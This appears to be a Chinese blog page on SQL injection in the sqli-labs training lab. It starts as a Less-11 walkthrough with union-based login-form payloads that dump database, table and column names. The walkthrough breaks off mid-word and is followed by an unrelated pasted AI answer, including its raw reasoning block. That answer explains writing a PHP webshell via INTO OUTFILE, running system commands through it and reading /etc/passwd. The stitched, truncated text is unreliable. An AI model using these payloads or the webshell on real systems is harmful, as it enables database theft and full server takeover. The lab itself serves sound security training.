sqli-labs 靶场 less-11~14 第十一关、第十二关、第十三关、第十四关详解:联合注入、错误注入

SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。

Less 11

SQLI DUMB SERIES-11

welcome dhakkan

判断注入点

尝试在用户名这个字段实施注入,且试出SQL语句闭合方式为单引号:
login attempt
同时输入正确的用户名就可以查看到数据,那么我们就只可以在这个uname位置直接注入。

uname=admin' -- &passwd=1

在这里插入图片描述

实施注入

获取数前数据库的数据名和用户名

uname=0' union select database(),user() from dual -- &passwd=1

logged in
获取当前数据库的表名:

uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- &passwd=1

successfully logged in
获取user表的列名:

uname
<think>首先,用户的问题是:"我想尝试在SQLi Labs靶场Less-2中通过SQL注入漏洞写入WebShell并执行系统命令"。这涉及到SQL注入漏洞利用,特别是写入WebShell到服务器上。 键点: - Sqli Labs Less-2:这是一个SQL注入练习环境,Less-2通常涉及基于整数的注入- 目标:写入WebShell并执行系统命令。 从系统级指令: - 所有行内数学表达式必须用$...$,但这里可能不涉及数学表达式。 - 独立公式用$$...$$,但同样,可能不适用。 - LaTeX语法正确。 - 使用中文回答。 - 生成相问题。 - 引用段落末尾添加引用标识。 - 回答结构清晰,逐步解决问题。 - 参考站内引用:用户提供了两个引用: - [^1]: 于Mysql注入点写webshell的条件,secure_file_priv为空。 - [^2]: 于MSSQL注入工具,但用户的问题是Mysql,因为Sqli Labs使用Mysql。 用户的问题是基于Mysql的,因为Sqli Labs通常使用Mysql数据库。引用[^1]直接相:它提到在Mysql注入中,如果secure_file_priv为空,可以写入webshell。 步骤结构: 1. **理解漏洞**:解释Less-2的SQL注入类型。 2. **前提条件**:检查写入文件的权限,特别是secure_file_priv设置。 3. **写入WebShell**:如何通过SQL注入写入一个PHP文件到Web目录。 4. **执行系统命令**:通过访问webshell执行命令。 5. **注意事项**:安全风险和道德考虑(因为是练习环境)。 6. **生成相问题**:在回答末尾。 详细步骤: 1. **理解漏洞**: - Sqli Labs Less-2是一个基于整数的SQL注入漏洞。用户输入被直接用于SQL查询,没有过滤。 - 示例URL:`http://localhost/sqli-labs/Less-2/?id=1` - 注入点:id参数。 2. **前提条件**: - 写入文件需要: - MySQL用户有FILE权限。 - secure_file_priv系统变量为空或设置为允许写入的目录。默认情况下,它可能为空或限制。 - 知道Web服务器的根目录路径。 - 引用[^1]提到:"secure_file_priv为空"是前提。 3. **写入WebShell**: - 使用`SELECT ... INTO OUTFILE`语句写入文件。 - Webshell内容:例如,一个简单的PHP文件:`<?php system($_GET['cmd']); ?>` - SQL注入payload:修改id参数来执行写入。 - 例如:`?id=-1' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php' -- -` -Less-2是基于整数的,所以不需要单引号。Payload应该适应整数注入- 正确payload:`?id=-1 UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php' -- -` - 注意:路径需要正确。Web目录通常是`/var/www/html/`或类似。 4. **执行系统命令**: - 写入成功后,访问`http://localhost/sqli-labs/shell.php?cmd=ls`来执行命令。 - 例如,`cmd=ls`列出目录。 5. **注意事项**: - 在真实环境中,这是非法的;只在授权测试中使用。 - 确保环境允许写入:检查secure_file_priv。 - 如何检查:`SHOW VARIABLES LIKE 'secure_file_priv';` - 如果为空,则可以写入任何目录;如果为NULL,则不能写入。 - 权限:MySQL用户必须有FILE权限。 6. **生成相问题**: - 基于主题,生成3-4个问题。 - 例如: 1. 如何检查MySQL的secure_file_priv设置? 2. 什么是FILE权限,如何授予? 3. 除了写入webshell,SQL注入还有哪些利用方式? 4. 如何防止SQL注入漏洞? 引用处理: - 在回答中,当提到写入文件条件时,引用[^1]。 - 例如:"前提是secure_file_priv为空[^1]。" 回答结构: - 开头:简要介绍。 - 步骤分解。 - 代码示例(如果需要)。 - 结尾:相问题。 最终回答用中文。</think>### 在SQLi Labs Less-2中通过SQL注入写入WebShell并执行系统命令 SQLi Labs Less-2是一个基于整数的SQL注入漏洞练习环境,使用MySQL数据库。写入WebShell并执行系统命令需要满足特定前提条件,并利用SQL注入漏洞执行`INTO OUTFILE`语句。以下是详细步骤,确保操作仅在授权测试环境中进行(如Sqli Labs靶场),避免非法使用。 #### 前提条件 1. **MySQL用户权限**: - MySQL用户必须拥有`FILE`权限,允许读写服务器文件。 - 检查权限:通过SQL注入执行`SELECT user(), file_priv FROM mysql.user WHERE user = CURRENT_USER();`,如果`file_priv`值为`Y`,则有权写入。 2. **secure_file_priv设置**: - 该MySQL系统变量必须为空或设置为Web目录路径,否则无法写入文件。默认值可能为`NULL`(禁止写入)或空(允许任何目录写入)。 - 如何检查:通过注入执行`SHOW VARIABLES LIKE 'secure_file_priv';`。如果返回空值或特定路径,则可继续操作。前提是secure_file_priv为空[^1]。 3. **Web目录路径**: - 需要知道Web服务器的根目录(如Apache的`/var/www/html/`)。在Sqli Labs中,路径通常为`/var/www/html/sqli-labs/`或类似。可通过错误信息或枚举猜测(如`?id=1 AND 1=2 UNION SELECT 1,@@basedir,3`获取MySQL基础路径)。 #### 步骤详解:写入WebShell并执行命令 1. **确认注入点**: - Less-2是整数型注入,无需单引号。测试漏洞:`?id=1 AND 1=2`应返回空页面,证明可注入- 示例URL:`http://localhost/sqli-labs/Less-2/?id=1`。 2. **写入WebShell文件**: - 使用`UNION SELECT`结合`INTO OUTFILE`写入PHP WebShell文件。WebShell内容为一个简单的PHP脚本,例如:`<?php system($_GET['cmd']); ?>`,允许通过URL参数执行系统命令。 - **Payload示例**: ```sql ?id=-1 UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/sqli-labs/shell.php' -- - ``` - 解释: - `-1`:使原查询返回空,便于UNION注入- `UNION SELECT 1, ..., 3`:匹配原查询列数(Less-2通常为3列)。 - `INTO OUTFILE '/var/www/html/sqli-labs/shell.php'`:将输出写入指定文件。路径需替换为实际Web目录。 - `-- -`:注释后续SQL语句。 - 如果写入成功,浏览器可能返回空白页面或查询结果;失败则显示MySQL错误(如权限不足)。 3. **验证WebShell写入**: - 访问WebShell文件:`http://localhost/sqli-labs/shell.php`。如果文件存在,页面应无错误(可能显示空白)。 - 检查文件:在服务器终端执行`ls /var/www/html/sqli-labs/`,确认`shell.php`存在。 4. **执行系统命令**: - 通过WebShell执行命令:在URL中添加`cmd`参数,例如: - `http://localhost/sqli-labs/shell.php?cmd=ls`:列出当前目录文件。 - `http://localhost/sqli-labs/shell.php?cmd=whoami`:查看当前用户权限。 - 输出将直接显示在网页中。 #### 注意事项 - **权限问题**:如果写入失败,检查: - MySQL的`secure_file_priv`是否为空(使用`SHOW VARIABLES`确认)。 - Web目录是否可写(尝试写入其他文件测试)。 - MySQL用户是否有`FILE`权限(需数据库管理员配置)。 - **安全风险**:在真实环境中,此操作会危害系统安全,仅限授权测试。Sqli Labs靶场已设计为安全练习环境。 - **道德与法律**:确保操作符合道德规范,仅在本地或授权实验室进行。 #### 常见问题排查 - **写入失败(MySQL错误)**:如果报错`Can't create/write to file`,检查路径是否正确或权限不足。 - **WebShell无响应**:确认PHP解析正常(访问`.php`文件应执行,而非下载)。 - **路径枚举**:若未知Web目录,用注入枚举:`?id=1 AND 1=2 UNION SELECT 1,LOAD_FILE('/etc/passwd'),3`(需权限)。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值